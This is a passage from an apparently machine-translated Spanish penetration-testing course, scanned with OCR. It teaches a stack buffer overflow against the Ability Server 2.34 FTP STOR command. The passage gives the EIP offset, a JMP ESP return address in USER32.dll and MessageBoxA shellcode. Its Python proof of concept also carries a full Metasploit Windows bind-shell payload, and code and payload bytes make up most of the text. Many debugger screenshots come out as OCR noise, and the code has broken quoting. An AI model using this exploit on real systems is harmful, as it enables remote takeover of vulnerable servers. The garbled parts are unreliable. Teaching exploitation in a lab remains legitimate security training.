Ability Server yEIPes sobrescribe con x42\ x67\ x32\ x42, que se traduce erBg2B Ahora
puede usarel acompafiamientoguidn pattern_offset.rbpara identificar la posiciérie estos
caracteresen el buffer:

bt tools # [pattern_offset.rb Bg2B
966

bt tools #
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Esto significajue los PAEse sobrescribencon eltampdn del caracterd66aal caracter970a
Por favor,compruebe por usted mismo(puede obtener valoresdiferentesde las que veréen

este libro)

OllyDbg - Ability Server.exe - [CPU - thread 0000013C]

@ File Wiew Debug Plugins Options Window Help

=8| x|
=8| =

Bl x| wln] v L A JJJJJJJJJJJﬂJ =[] 2]

Registers (FFUI

EAY BOEEEAE L
ECH @137FFOC
EDH FFFFFFFF
EEX @OBEETDE
ESF B137ESES ASCII "SEgSBh@Eh 1EhZEh3Eh4E

EDOI BEZFRESC
EIFP 42326v42

C B8 ES B8z22 22bit BIFFFFFFFF]

F &8 CS 8ale 22bit BIFFFFFFFF)

A B 55 8822 32bit AIFFFFFFFF]

2 8 DS BEz22 22bit BIFFFFFFFE]
S8 FS Ba22 22bit FFFOFQEA(FFF)
T8 GS 8asa MULL

0 a

o a

LastErr ERROR_ALREADY_EXISTS [@EARGHE)
EFL Beeasz82 (Mo, ME,ME,.R, NS, PO, GE, G)

STH empty H.8
STl empty O.0
ST2 empty B.8
ST3 empty 8.8
STd empty —UHDRH EEIC BEAERERE BEREEEEE

Ability .<ModuleEntruFoint > =TC CAD OOOCEddE CRAGGAGGEET
Address |fen dunp e B15rEGED igggggig -
SS:}ESSS BE, B1SFEECE| e2d4221e8

BE41ESLE B13FEECY| S36E4232

AE41E81S BL3FEECE| 42346342 _|
BE41EEZE| 43 6F TS AC| 64 20 6E &F | Couwld no S{E;ESES ggggiggg

AE41EEZS| 74 20 69 GE|69 74 &3 &1(t initia Blarbebe) sresdcse

AE41EEZE| 6C 69 723 65|28 72 &F 63| lise soc iarBeDd| jeazesdz

BE41EESS| €6 €5 74 T3[2E ©8 0O 00| ket=s.... BlarBebs| eodianes

@AE41Ea4E| 45 72 72 &F| 72 @8 98 B0|Errvaor... larBenc| slegdsse

AE41EE4S| 68 74 74 T@[ BB BF B0 00| http.... BlETESED| doizesds

AE41EESE| 66 74 TA BA|ES &0 &1 63| ftp.emai e e =
AA41EEES| EC PR B @@ 6C 6F 67 73| l... loas Al 5 g

Access violation when executing [42326742] - use Shift+F7/F8/F3 to pass exception to program

| | Paused

Con este nuevo conocimientovuelva a escribita PoC prueba de concepto) como sigue:

#!/usr/bin/python

import socket

s = socket.socket(socket. AF_INET, socket.SOCK_STREAM)

buffer =" \ x41'* 966 +'

print "\ nSending evil buffer..."
s.connect(('192.168.103.128',21))

data = s.recv(1024)

s.send('USER ftp' +' \r\n)
data = s.recv(1024)
s.send('PASS ftp' +' \r\n)
data = s.recv(1024)
s.send('STOR ' +buffer+' \

"mJ'-‘f
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Estasecuencia de comandosiguienteen el accidente Como ves ahora sabeexactamente qué
son losbyteslos necesarios para controlatotalmente EIP:

i . OllyDbg - Ability Server.exe - [CPU - thread 00000208] i =] 4|

j|E|Filn3 Mieww Debug Plugins Options

Window  Help

=& %]

Fegisters

J_LLﬂU:tiiJJ:ﬂJJJJJEﬂJJJJﬂJEﬂ ?

[FFU

d

| Ability . <ModuleEntryFoint

ERX BEEEEEN]
ECx @137FFOC
EDX FFFFFFFF
EEX BB88aa705
ESF @13VEBSES ASCII
EEF BEZFREZE
ESI BE88E88EE
EDI BE2FAESC

EIF 42424242
ES ©E22 22bit
CS @alE 32bit

55 @E23 SZbir
0S5 @@23 32bir

G5 @EEa MULL

ca
F @
A a
ca
S @ FS 88338 32bit
T8
0 @&
oa

LastEry
EFL @@aaaaznz

STE empty
STl empty
5T2 empty

ST2 empty H.
—-UHMORM FELIC BOEEE@EE BBBBBBBB
+UMORM 456E BEZFA44A BEBRE

5T4 emptu
STES empty
STE smnty

| Address |Hex dump

F

a4 1ERDE] BE R B8
W Bad41ERRS) 96 18 48
ead4lERIE) BE BE B8
Hea4lERIS) BE B B8
i ea41EB28) 42 &F ¥5
If oe41EBZS| 74 28 &3
i ea41EBSB) 6C 63 F3
BE41EBZE( 6B 65 74
BE41ER4E| 45 72 P2
BRd1EB43( 62 74 74
B4 1EBSE( 68 74 7O
B4 1EBER( &C BE @O
B4 1EBGE] B8 BE Ba

@ @BackTrackAcadem

Could no
t initia
lise soc
ketsaaa.
Error...
http....
frtp.emal
... logs
cooonts

-

H13VEBEEC
B137VE&CH
A137EGCH
H137BECE
A137BECC
A137B&0A
A127EE04
A127EE0S
B13vE&DC
B127VEB&SER
A137EGE
H137BEES
BIZTECEL

ERROR_ALREADY_EXISTS [ HEEEHEET )
(MO, ME, ME, A, M5, FO, GE, 51

"CCCCCCCCCCCCCCCoCoCCCoie

@i FFFFFFFF )
& FFFFFFFF )
& FFFFFFFF )
&L FFFFFFFF
FFFOP@@ETFFF)

A FORSAAER ﬂﬂPdFF1R

423434243 —
43434343
43434343
43434343
4234343432 _I
43434343

43434343
43434243
4234342432
43434343
43434343
43434343
4234343432
43434343 -
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6.3.3Localizacion deespaciopara suShellcode
Supongamos queshellcodees un cédigodefinido por el usuarioque deseaejecutaren la
magquinavictima.
Usted necesita encontrann comodo desplazamientopara colocartu shellcodeen el bufer.
Para ellg examine laCPUregistrosy la memoriadespués del accidente

Oll¥Dbg - Ability Server.exe - [CPU - thread 00000203 ] - |EI|5|
@ File ‘iew DCebug Plugins Options  Window Help - |5’|5|
- - - - - | EEN
& | Registers (FFU) £ £ £ £
= | EAX BoBEaEEE1
__NEc¥ mis7FFDC
E0Y FFFFFFFF
EBX BARAATYOS
EEE Sé%EEEm e ..mmmmm.qm.ﬁ.ﬁ.ﬁm.q.lm.ﬁmmﬁ:ECEEECECCCEE
Increment Plus
ESI BB0naE )
EDI B8ZFAE Decrement Mirus
EIF 424242 Fero
C @A ES Baa
F @ C5 8a Settol
H @ 55 66 .
7 @ DS o8 Miodify Enker
? S EE SS Copy selection ko clipboard  Chrl4-C
B S Laste  Copy all reqgiskers ba ciphoard
EFL B8anaz —
STE enpty Follow in Durnp
» | 5Tl empty i
ITE ey Follow in Skack.
5T2 empty
5T4 enpty Wigw MM reqgiskers
A . STE empty
Ability . <Mody leEntruFoint STE ennty Wiy 3DMow! regiskers
Address |Hew dump ASCII Wi deh il -
B1ZrECEG| 43 45 45 458 95 45 45 45| COCOLLLD = (l=lallig (==
DISPBECH| 43 43 43 4345 43 43 43| CCocooet
B137EE08| 43 43 43 4343 43 43 43| CCCooooo el ' _
A127BE0S| 42 43 42 43| 42 42 43 43| CCCCCCCC BiB%EGDB 43434343
A1IZ7YBEEE| 42 42 42 43| 42 42 43 43| CCCCCCOC A127EEDS| 42434242
HI27BEES| 42 42 42 43| 42 42 43 43| CCCCCCOC A1o7EeDa| 42434242
H127BEFE| 42 42 42 43| 42 42 43 43| CCCCCCOC A1Z7EEDC| 42434242
H127BEFS( 42 43 43 43| 43 42 43 43| CCCCCCCC A1STEEEE| 42434343
HI27EFEE | 42 43 43 43| 43 42 43 43| CCCCCCCC @A1STBEES| 42434243
DISFEC16| 45 43 45 4345 43 43 43| CCoooRe O137BEES| 43434343
A13vEF12] 43 42 43 4343 42 43 43| coCCoooo T Q137ECEC| 43434343 |

Tenga en cuentague los puntos deESPa algunos dela memoriaintermediacontrolada por el
usuaria el Cs.

De hecho,después de ver loprimeros bytesde la direcciGnantes deque el ESRipunta,
podras veralgunos familiarepersonajes: eAs,Bsy Cs16:

inddPEEE

Hex dump

ASCII

A137¥Be2E
B137FEESA
A137BESS
A137BERA
B1Z7FBERS
B13FBEER
A13FBEES
B13FBECH
B13FBECE
B12FBE0E
B13vBa0s
B127BEER

1812FEEES

41| ARARRRRA
41| ARARRRRA
41| ARARRARA
42| AAAREEEE
43| CCCCCCCo
43| CCCCCCCC
42| CCCCCCCC
43| CCCCCCCC
43| CCCCCCCo
43| CCCCCCCo
42| CCCCCCCC
42| CCCCCCCC
43| CCCCCCCC
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Usted acaba de encontrann lugar para sushellcodeque seafacilmenteaccesiblepor el
registro ESPAhora lo que necesita

para asegurarse dejue dispone de espacisuficiente para que eshellcode.

ESPapunta a0137b6b8(estasdirecciones puederser diferentes en sequipo). Si se sigugor
la

ventanade volcadode memorig te daras cuentade que elbuffer sedestroza €on un mensaje
de error) en

aproximadamente0137bAAQ

Address |Hex dump ASCII

E1SVEASE|[ 42 42 43 43 43 43 42 43| CCCCCCCC
E1SVEAZE[( 42 43 43 43 43 43 432 43| CCCCCCEC
H12VEASE( 42 42 43 43 43 42 42 43| CCCCCCCC
H12VEARE|[ 42 42 43 43 43 42 42 43| CCCCCCCC
HA12VEARS|( 42 43 43 43 4¢3 43 5D 2C| CCCCCC,
H1SVEAEE| 2@ B2 65 61 73 6F EE 2A| Feason:
H1SVEAES| 5B 41 &3 63 65 ¥3 73 20| [Access
H1SVEACH|44 &9 ¥3 61 6C 6C 6F Fr|Disallow
B1SVEACE| &5 &4 50 BO 43 43 43 42| ed].CCCC
B1SVEADE| 42 43 43 43 43 43 42 43| CCCCCCEC
A1SVEADS| 42 43 43 43 43 43 42 43| CCCCCCEC
H1SVEAEE| 42 43 43 43 43 43 432 43| CCCCCCEC
H1ZVEAES 42 43 43 43 43 43 43 43| CCCCCCCC

Un calculo rapidde debe dar lacantidadde espacio quese puedeutilizar para: nuestro
shellcode 0137bAA0- 0137b6b8= 3e8 (1000decimal).

1000 byteses mas que suficient@ara casi cualquiecddigo shell,asi que no haynecesidad de
buscarmés espacio.

il ; i
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6.3.4Redireccionando el Flujde Ejecucién

En este puntousted es capaz deedirigir el flujo de ejecuciorde la aplicacion ya que el
control EIB, y han encontradoun lugar adecuado paraubicar lospuntos de ESPshellcodea la
misma.Usted tienedos mastareas antes deque haya terminado

- Encontrar una manera ddMPa tu shellcode(pistapista).

- Escriba etdédigo shell

Lo intuitivo que hacerseria sustituitos\ x42\ x42\ x42\ x42 caractereqlos que
sobreescribirEIB con la direccibnque apunta aESPEsto podria funcionade forma local enel
equipo de laboratorio,pero hay que tener encuentaque las cargas ddasaplicaciones de
Windowsy archivos DLIen las direcciones denemoria diferentescada vez.Asi que la
direcci6nno modificableque apunta aESPen este ejemplono es muy probablequeimportante
sobre otrossistemas similares.

Por lo tanto,usted necesita ua maneramas genéricapara llegar a ladireccionque el ESP
apunta.¢Qué le viena la mente eda IMPESPcomando, que redirigiradirectamente aESP,
independientemente desu direccion especifica.

Esto le llevarda donde tu shellcodeseralocated.Youno puede, sin embargg solo tiene que
empujarun ASMcomando enEIP Recuerde que I&lPtiene las direcciones de memoriano
comandos.Lo que hay quehacer esencontrar una direcciéren una delas DLL del sistema
base (susdireccionesson estaticas travésde paquetes de serviciojjue contiene el comando
JMPESP(Es posible que deseker gue mas deun par de veces




P

6.3.5BUsqueda deuna direccion de retorno

Ustedpuede encontrar facilmentda direccion del remitenteutilizando OllyDbgu otras
herramientasespecializadas comdindjump.

6.3.5.1Uso deOllyDbg

EnOllyDbg, haga clic en eboton Mddulos ejecutablesHaga doble clic enUSER32.dil la
basqueda deun JIMPESPmando enesa DLL.

OllyDbg - Ability Server.exe - [CPU - thread 00000208, module USER32]
IE‘ File Wiew Debug FPlugins Options Window Help
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=183l x|
=181 %]

] ] ] ] ] Lidl | L]
Blx| vin| b L A 4 uE|M|T|wln|c|/|K|BIR|..|5| EIE?]
TrE1LGEE| S0 42FcvraH CHF ERE, SHr a4z | Regizter= (FPL)
FPEL1GES| ER FETTBFAS FET|JHF FAR 7TrFE:ASBFTTFS
e BT R o e (bl cent e GoteN
e I
;;EHS%% FFFC P xame !:EI lT:' |nd':'|-|rrent module  CErl-+T
ame in all madules "
7FE1181E Backup CII "CCCCCCCCCCCCCCCCCCCE
FFE11B1E =
FFEL11G17 Copy Command
FFE11@19 i
77E11E1E Binary 3 Sequence of commands Chrl+5
FFE11@10 g
77Elloz Assemble Space Constant oLt BIEEREEERE
7Eiimzs  Label 3 Binary string kB :EH SEFFFFFFFH
;;EHSE? Comment i ; bh it PFFOVEEELFFF)
. All intermodular calls LL

;;E% %SEE Breakpoint: 3
FPEL16Z0 R brace . Al commands ROR_ALREADY_EXISTS (@@@80
FrE1lmzE o, HE:, ME,, A, NS, PO, GE, G)
el
e Mew arigin here CErl4+-Gray fil u:u:u?ustants

G0 ko ¥ Al switches

Thread b Al referenced text strings i ERE e Eaiasd
e Follow in Dum » [l Gddf 7oA
Address F Iser-defined label jgﬁigig -
B1ZvERDe '
G12FEASE ld  User-defined comment igigiggg
B127EASS ;
a1cenpo  Findreferences to ’ AISTEECE| 43424943 [
Gicermg  View L B1ETEEDE| 43434345
H13VERES B137EE04] 43434343

Copy to executable k A137EE03| 43424343
e . A1orbene| 43da4a43
Giareann  Pnalysis » B137EEEE| 43434343
H137EADS B13VESE4] 43434343
@137EAED Bookmark » B137EGES| 42434342
B137EAES || S -|
istart|  appearance » lolyaba  |[Heollypbg... ¥ sbityse..| @ sdarm
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0llyDbg - Server.ede - [CPU - thread 00000208, - |D|ﬂ
IE‘ File Wiew Debug Plugins Options  Window Help ===l
] ;l * L e H={l o ?
(Bl x| wn| v+ ¥ ] o LIE|M|T|W/H|c|/[K[B|R|..[8] iZ[i]?]
[FrELaC29] FrES T ESF
| 7rET4c2E] FFFF 77 L
|77E14c20| =340 Fo FF OF WORD PTR 55z [EBP—41, FFFFFFFF Efn giogadal
|77E14c21| B4 Fa MOU ECH,ONORD PTR 55: [EEF-181 CNERG pLEfEEne
[zoEtdcsd) sdrese0 eemoosel HOU DWORD FTR FS:181,ECK o 3330
|l & 2 [2Eh ESP MLSWBEEE ASC11 "CCOCCCCCOCEECCooone
| e ——— [
- = EIF 42424242
J C 8 ES BA23 22bit O(FFFFFFFF)
F@ C% @3l 32bit @(FFFFFFFF]
A @ S5 8322 37bit @(FFFFFFFF)
Z @ 0% @323 3zbit @(FFFFFFFF)
I¥ Entire block. Find Cancel I S5 LEghis ooy rRrRDramatERed
' DA
| FrETre= P
| FrElaces|. 77 €4 JA SHORT USERS2. 7PE14CES 08 LastErr ERROR_ALREADY_EXISTS (02059
|77E14cEE| AL 15neneae HOY ERA,ONORD FTR D5:[181 EFL @REEEZEZ (MO, NE,ME,A, NS, PO, GE, )
| 77E14CEn| 2ave 4a @ CHP_DWORD PTR DS: [EAX+48]1,8 570 empty 8.8
|7vEL4cEE |74 12 JE SHORT USERZ2.r7E14C7S = ELC b
| FFE14CEG| Bd4:01 19PGEERE | MOW EQX, DWORD PTR FS: (131 2Tz T B8
} ST3 empty B.8
ST4 empty -UMORM FELIC SRE0EREE HADEREGEE
ETS empty +UMORM 450E BOZFS440 DORBEGE1
] *?\.Tﬁw FddR FEASAAFR AACAEE 15
| Address [Hen dump ASCII - 42434342 -
| B13rEADS| 42 4% 4% 42]42 45 42 45| CLLLLLGL DISTREEL| 4odsdsis
| p13rERoE| 43 42 42 43|43 43 42 43| COCCCOCE plirvhela) dodsdses
| 5137ER93| 42 42 43 43|43 43 43 43| CoCoCoCE DlETEOCY| do4%434s
| &1 2rEnnc |EeeEmasNE S HENdSNaSNE S| CoCooo0D Il 51 oece| 4343a5as [
| a137enn=| 42 42 42 42|43 43 50 2c|Coooood, SETEL e
| a137EREE| 28 52 65 61|73 6F GE SA| Reazon: DigrheDa) d4odsdsds
@137EAES| 5B 41 63 63|65 73 73 28| [Acoess DiSTBEDd| 4ods4das
@13FEACE| 44 69 73 61|60 6C 6F 77|Dizal low pizrheDs) dodsdzas
B137EACS| 65 64 SO °B@| 43 43 43 43|ed).CoCo DiSTBEOC) 4odsdsis
B13FEADE| 42 42 42 43|43 43 42 43| CoCococo DiZTheEd) dodsdses
B130BAED| 43 43 45 45|45 43 43 43| cococorc D1STESES| 43434343
BIE7EAES| 42 42 43 43[43 43 42 42| CCCococo I B1SFBEEE] 43434343 |

La primeraJMPESRcomando se encuentra etJSER32.d#n la direccion77E14C29Vuelva a
colocar la\ x42\ x42\ x42\ x42 cadena con estalireccion por lo que en el momentodel
accidente,ElPapuntara a laJMPcomando ESPen User32.d|lhaciendo que laaplicaciénpara ir
a ladireccion actualken ESPdonde su shellcoderesidira.Edite elPoC para incluir estanueva

informacion:

#!/usr/bin/python
import socket

s = socket.socket(socket. AF_INET, socket.SOCK_STREAM)

ret=" \x29\ x4c\ xel\ x77" # 77E14C29 JMP ESP USER32.dll
buffer ="' \ x41' * 966 + ret + ' \x90' *16+' \xCC'*1014
print"  \ nSending evil buffer..."

s.connect(('192.168.103.128',21))

data = s.recv(1024)

s.send('USER ftp' +' \r\n)
data = s.recv(1024)
s.send('PASS ftp' +' \r\n)

"mJ'-‘f
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data = s.recv(1024)
s.send('STOR ' +buffer+' \r\n)

s.close()

Dos adiciones da PoCsondignos de mencion.

PON: Usted harellenadolos 16bytes después dda direccion de retornocon "\ x90-NOP (no
operacioncomandos).Este codigo de operacidrsimplemente le dice da CPUpara seguir
adelanteen la secuenciale comandacs.

Puntos de corte Parapropésitos de pruebagl bufershellcodeesta llena det" XCC's-puntos
de interrupcion.Esta codigo de operacionse detienela aplicacion en el depuradopara que
puedaexaminarel accidenteen ese punto.

El choqueresultantede esta secuencia de comandase vera asi

OllyDbg - Ability Server.exe - [CPU - thread 00000284 | - |I:I|5|
. File View Debug Plugins Options  Window  Help _|E||_|
: HIF - = hoe o | mmm|

Bl x| wn| wis ¥ A o HﬂJJJEﬂﬂEHJJJ HHEE
TC TIE
B137B6EA| CC INT3 ) feglerers PR
@137EEEE| CC INTZ S Eaiaiiil
@137EEEC| CC INTZ Epogeodaat
@137ESED| CC INTZ Se DoEnrEE
@137ESEE| CC INTZ o
@137EEEF| CC INTZ I
i i
B1Z7EECE| OO INTZ S0l (EaF AR
BlasBecd| GF TS Sin el
C @ ES @323 32bit @(FFFFFFFF)
aEEEhts B e F @ OS5 Bele 32bit BIFFFFFFFF)
SEEhEs B e A @ S5 BP22 32bit BIFFFFFFFF)
ol EC T e Z @ DS 8922 32bit BIFFFFFFFF)
Sy B e S @ F% @332 22bit FFFOPE@EFFF)
B1Z7EECH| OO INTZ g s paee HiLL
plsrBelsl Lk mrs 0 @ LastErr ERROR_ALREADY_EXISTS (SOGEE
@137E6CO| GO INTS EFL @@@@8z8z [ Hd, NE, NE, A, HS, PO, GE, &)
@137EECE| GO INTS
B137BECF| CC INT3 | S Ceie (ol
@13vEa0R| CC INTZ e e A
5T2 empty 8.8
5T4 empty -UHORM FEIC AEQQREEE BEREREGEE
STS empty +UNORI 4508 GBZFe440 GonGADHT
Address [Hex dump ASCIT H137ESES CCCCCCCC
BO41EDDG| 06 OB GO GO B1 97 41 60)....600, S%g;gggg EEEEEEEE
BA41EABZ| 96 1A 46 60|66 0B 0F PE|EME.. ... plareecd) CLLCLTt
BA41EAIG| 06 BF PG GO B0 B8 OE BE|........ plarBecd) CLoCittt
BA41EALZ| 06 BR PR GB| B0 BB 08 BE| .. ... ... plarBecs) CLCCLTCE _
OB41ERZA| 42 &6F 75 6C| 64 28 £E &F| Could no e
aR41ERZZ| 74 29 62 GE| &9 T4 &9 EL|t initia pizvbeDal ELECLTCL
aE41ERZA|6C 59 73 65| 28 72 &F &3 lize zoc pizvbeDd) LLELLLDL
oB41ER3Z| 66 &5 74 72| 2E 0@ 0B BA|kets.... ]
oB41ERAB| 45 72 72 6F| 72 8@ BB BA|Ervor.. . e
BE41EG4S| 65 74 74 70 @0 @G GG BE|http. ... pizvbetal ELLLLLL
oR41ERSA| 66 74 70 BA|ES 60 61 £3| ffp.emal DiIvBeEdl ELECLTCL
BE41ERSE|&C BE BB BB &0 &F &7 78| L...lods pisvBeEs) LLLLLLLL |
gR41EREA|RE AR PR ARl 2 73 2R ed| ... Hs | @137ESEC| CLCOCECE -

Como puede ver usted haaterrizado con éxitoen los puntos de interrupcidny cualquier cosa
sustituirlagpuntos de interrupcionse ejecuta en la maquina
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6.3.6CreacionShellcodeBasic

Escribir sypropio cédigo shellinversacompletaesta mas alla deblcancede este médulo.Este
moédulo voluntad, Sin embargq el intento decrear shellcodebasica yexaminar los procesog
dificultadesen hacer que funcionelncluso si ustecho esta familiarizado corel lenguaje
ensamblador este ejemploes simplesuficiente para segujrasi que nocunda el panico!
Sushellcodese abriraun cuadro de mensajeen la pantalla corel texto HAXen el rubroy texto
areas

Para ello,es necesario utilizala funcion API de WindowdessageBoxAMirando esta funcién
en Googlerevela que estduncién tomacuatro argumentos:

int MessageBox(
HWND hwnd,
LPCTSTR IpText,
LPCTSTR IpCaption,
UINT uType

);

Vadke i
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Cuandolos parametros son:

hwnd

[in] Handle to the owner window of the message box to be created. If this
parameter is NULL, the message box has no owner window.

IpText

[in] Pointer to a null - terminated string that contains the message to be
displayed.

IpCaption

[in] Pointer to a null - terminated string that contains the dialog box

title.

If this parameter is NULL, the default title Error is used.

uType

[in] Specifies the contents and behavior of the dialog box. This
Parameter

can be a combination of flags from the following groups of flags.

Més informacidnacerca de la funciériMessageBoxAe puede encontrar aqui
http://msdn2.microsoft.com/enrus/library/ms645505.aspx

ol ¢
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Parallamar a la funcién MessageBoxA, es necesario localizar su domicilio en Windows
XP SP2. Una simple busquedm OllyDbg revela que la funcion esta en 0x77d8050b.
A continuacion, utilice el siguiente cédigo ASM para llamar a la funcion MessageBoxA:

[BITS 32]

mov ebx, 0x00584148 ; Loads a null -terminated string AHAXO t
push ebx ; pushes ebx to the stack

mov esi, esp ; savesnull -t ermi nated string AHAXO in esi
Xor eax, eax ; Zero our eax (eax=0)

push eax ; Push the fourth parameter (uType) to the stack (value 0)

push esi; Push the third parameter (IpCaption) to the stack (value

HAX 00)

push esi; Push the second parameter (IpText) to the stack (value HAX \ 00)
push eax ; Push the first parameter (hWnd) to the stack (value 0)

mov eax, 0X7E45058A ;  Move the MessageBoxA address in to eax

call eax ; Call the MessageBoxA function with all parameters supplied.

Se compila este cédigo usando NASM y abra el archivo binario resultante en un editor
hexadecimal. Se puede ver queay un byte nulo en eshellcode (V' x00"). Este byte terminaria
operaciones de cadena de copia y hartrtar el tampon en el medio- obviamente no es algo
bueno. Usted puede superar este byteuto mediante la codificacién del shellcode. El
Metasploit Framework contiene varsocodificadores de este tipo. Una vez codificado, puede
colocar el nuevo shellcode en el &rea designada en el exploit y disfrutar la gloria de su
Mensajes!
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. Ability Server 2.34 [_ O] |

Ability Server 2.34; Mo news available,

Ability Server ‘

Ty our more advanced FTP Server and M ail Server... wenw, code-crafters. com

—HTTP Server
| ofiee. CEEIE]  Actvee | Setnos |
— Email Server HAx
| Difflire, Activate | Seftings |
o 4 I
—FTP Server
| Online, 1 connectionz. 2 Kb in and 0 Kb out. De-Activate | Settingz |

Help | [T Disable Mews [~ Auto Hide Hide |
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6.3.70btencién de laShell

Tan impresionante comastecuadro de mensajepuede ser, ustednecesita encontrar un
shellcodemas practicoque permitiraaccedera esta maquinavulnerable Con este finutilizarel
generador decodigo shellMetasploitrapidamentecrear shellcode.Vamos a usael Metasploit
Framework(explicado méasadelante para generar ecddigo shelta Win32Bindshell(por
defecto en el puerto4444)shelicode

bt framework3 # Jmsfpayload windows/shell_bind_tcp O

Name: Windows Command Shell, Bind TCP Inline

Version: 4419

Platform: Windows

Arch: x86

Needs Admin: No

Total size: 317

Provided by:

vlad902 <vlad902@gmail.com>

Basic options:

Name Current Setting Required Description

EXITFUNC seh yes Exit technique: seh, thread, process
LPORT 4444 yes The local port

Description:

Listen for a connection and spawn a command shell

bt framework3 #

bt framework3 # Jmsfpayload windows/shell_bind_tcp C
I

* windows/shell_bind_tcp - 317 bytes

*  http://www.metasploit.com

* EXITFUNC=seh, LPORT=4444
*/
unsigned char buf[] =

"\ xfc \ x6a\ xeb\ x4d\ xe8\ xf9 \ xff \ xff \ xff \ x60\ x8b\ x6¢ \ x24\ x24\ x8b"
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"\ x45\ x3c\ x8b\ x7c\ x05\ x78\ x01\ xef \ x8b\ x4f \ x18\ x8b\ x5f \ x20\ x01"
"\ xeb\ x49\ x8b\ x34\ x8b\ x01\ xee\ x31\ xc0\ x99\ xac\ x84\ xc0\ x74\ x07"
"\ xcl\ xca\ x0d\ x01\ xc2\ xeb\ xf4 \ x3b\ x54\ x24\ x28\ x75\ xe5\ x8b \ x5f"
"\ x24\ x01\ xeb\ x66\ x8b\ x0c \ x4b\ x8b\ x5f \ x1c\ x01\ xeb\ x03\ x2c \ x8b"
"\ x89\ x6¢\ x24\ x1c\ x61\ xc3\ x31\ xdb\ x64\ x8b\ x43\ x30\ x8b\ x40\ x0c"
"\ x8b\ x70\ x1c\ xad\ x8b\ x40\ x08\ x5e\ x68\ x8e\ x4e\ x0e\ xec \ x50\ xff"
"\ xd6\ x66\ x53\ x66\ x68\ x33\ x32\ x68\ x77\ x73\ x32\ x5f \ x54\ xff \ xd0"
"\ x68\ xcb \ xed\ xfc \ x3b\ x50\ xff \ xd6\ x5f \ x89\ xe5\ x66\ x81\ xed \ x08"
"\ x02\ x55\ x6a\ x02\ xff \ xdO\ x68\ xd9\ x09\ xf5 \ xad\ x57\ xff \ xd6\ x53"
"\ x53\ X563\ x53\ x53\ x43\ x53\ x43\ x53\ xff \ xdO\ x66\ x68\ x11\ x5¢c \ x66"
"\ x53\ x89\ xel\ x95\ x68\ xa4\ xla\ x70\ xc7 \ x57\ xff \ xd6\ x6a\ x10\ x51"
"\ x55\ xff \ xdO\ x68\ xa4\ xad\ x2e\ xe9\ x57\ xff \ xd6\ x53\ x55\ xff \ xd0"
"\ x68\ xe5\ x49\ x86\ x49\ x57\ xff \ xd6\ x50\ x54\ x54\ x55\ xff \ xdO\ x93"
"\ x68\ xe7\ x79\ xc6\ x79\ x57\ xff \ xd6\ x55\ xff \ xdO\ x66 \ x6a\ x64 \ x66"
"\ x68\ x63\ x6d\ x89\ xe5\ x6a\ x50\ x59\ x29\ xcc \ x89\ xe7\ x6a\ x44\ x89"
"\ xe2\ x31\ xcO\ xf3 \ xaa\ xfe \ x42\ x2d\ xfe \ x42\ x2c\ x93\ x8d\ x7a\ x38"
"\ xab\ xab\ xab\ x68\ x72\ xfe \ xb3\ x16\ xff \ x75\ x44\ xff \ xd6\ x5b\ x57"
"\ x52\ x51\ x51\ x51\ x6a\ x01\ x51\ x51\ x55\ x51\ xff \ xdO\ x68\ xad \ xd9"
"\ x05\ xce \ x53\ xff \ xd6\ x6a\ xff \ xff \ x37\ xff \ xdO\ x8b\ x57\ xfc \ x83"
"\ xc4\ x64\ xff \ xd6\ x52\ xff \ xdO\ x68\ xfO \ x8a\ x04\ x5f \ x53\ xff \ xd6"
"\ xff \ xd0";

bt framework3 #
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A continuacion,copie estecodigo shellpara el PoC.La hazafiafinal debeser similara esto:

"\ xeb\ x49\ x8b\ x34\ x8b\ x01\ xee\ x31\ xc0\ x99\ xac \ x84\ xc0O\ x74\ x07"
"\ xcl\ xca\ x0d\ x01\ xc2\ xeb\ xf4 \ x3b\ x54\ x24\ x28\ x75\ xe5\ x8b \ x5f"
"\ x24\ x01\ xeb\ x66\ x8b\ x0c \ x4b\ x8b\ x5f \ x1c\ x01\ xeb\ x03\ x2c \ x8b"
"\ x89\ x6¢\ x24\ x1c\ x61\ xc3\ x31\ xdb\ x64\ x8b\ x43\ x30\ x8b\ x40\ x0c"
"\ x8b\ x70\ x1c\ xad\ x8b\ x40\ x08\ x5e\ x68\ x8e\ x4e\ x0e\ xec \ x50\ xff"
"\ xd6\ x66\ x53\ x66\ x68\ x33\ x32\ x68\ x77\ x73\ x32\ x5f \ x54\ xff \ xd0"
"\ x68\ xcb \ xed\ xfc \ x3b\ x50\ xff \ xd6\ x5f \ x89\ xe5\ x66\ x81\ xed \ x08"
"\ x02\ x55\ x6a\ x02\ xff \ xd0\ x68\ xd9\ x09\ xf5 \ xad\ x57\ xff \ xd6\ x53"
"\ x53\ X563\ x53\ x53\ x43\ x53\ x43\ x53\ xff \ xdO\ x66\ x68\ x11\ x5¢c \ x66"
"\ x53\ x89\ xel\ x95\ x68\ xa4\ xla\ x70\ xc7 \ x57\ xff \ xd6\ x6a\ x10\ x51"
"\ x55\ xff \ xdO\ x68\ xa4\ xad\ x2e\ xe9\ x57\ xff \ xd6\ x53\ x55\ xff \ xd0"
"\ x68\ xe5\ x49\ x86\ x49\ x57\ xff \ xd6\ x50\ x54\ x54\ x55\ xff \ xd0\ x93"
"\ x68\ xe7\ x79\ xc6\ x79\ x57\ xff \ xd6\ x55\ xff \ xdO\ x66 \ x6a\ x64 \ x66"
"\ x68\ x63\ x6d\ x89\ xe5\ x6a\ x50\ x59\ x29\ xcc \ x89\ xe7\ x6a\ x44\ x89"
"\ xe2\ x31\ xc0\ xf3 \ xaa\ xfe \ x42\ x2d\ xfe \ x42\ x2c\ x93\ x8d\ x7a\ x38"
"\ xab\ xab\ xab\ x68\ x72\ xfe \ xb3\ x16\ xff \ x75\ x44\ xff \ xd6\ x5b\ x57"
"\ x52\ x51\ x51\ x51\ x6a\ x01\ x51\ x51\ x55\ x51\ xff \ xdO\ x68\ xad \ xd9"
"\ x05\ xce \ x53\ xff \ xd6\ x6a\ xff \ xff \ x37\ xff \ xdO\ x8b\ x57\ xfc \ x83"
"\ xc4\ x64\ xff \ xd6\ x52\ xff \ xdO\ x68\ xfO \ x8a\ x04\ x5f \ x63\ xff \ xd6"
"\ xff \ xd0")

s = socket.socket(socket. AF_INET, socket.SOCK_STREAM)

ret="\x29\ x4c\ xel\ x77" # 77E14C29 JMP ESP USER32.dIl

buffer =" \ x41' * 966 + ret +' \ X90' * 16 + shellcode

print"  \ nSending evil buffer..."

s.connect(('192.168.103.128',21))

data= s.recv(1024)

s.send('USER ftp' +' \r\n)

data = s.recv(1024)

s.send('PASS ftp' +' \r\n)
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data = s.recv(1024)

s.send('STOR ' +buffer+' \r\n)

s.close()

